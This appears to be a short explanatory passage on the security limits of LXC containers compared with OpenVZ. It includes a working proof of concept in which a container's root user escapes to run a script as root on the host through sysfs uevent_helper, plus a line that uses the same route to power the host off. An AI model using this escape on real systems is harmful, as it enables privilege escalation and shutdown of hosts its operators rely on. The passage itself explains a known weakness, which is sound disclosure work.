For the past few years, the Linux Containers project has been developing some kernel technologies which provide isolation, accounting and management for kernel resources. When completed, together they will allow implementing lightweight virtualization of the operating system like is currently possible with OpenVZ.
It is very important to understand that not all the pieces are ready yet, so currently a LXC container does not provide the same security of other virtualization technologies.
This example shows how the root user of a container can easily run code as root in the host system, since sysfs does not support namespaces:
lxc$ cat <<END > /tmp/evil-helper #!/bin/sh echo 'hi!' >> /tmp/evil-helper.log END lxc$ chmod +x /tmp/evil-helper lxc# mkdir /sys lxc# mount -t sysfs sysfs /sys lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper lxc# echo change > /sys/class/mem/null/uevent
The last command will trigger a uevent, which will be processed by running in the host our script created inside the container.
lxc# echo /sbin/poweroff > /sys/kernel/uevent_helper
Because of this, LXC containers are vulnerable to a malicious root user and are not really a replacement for OpenVZ. This will change when support for labelling files with user namespaces will be completed.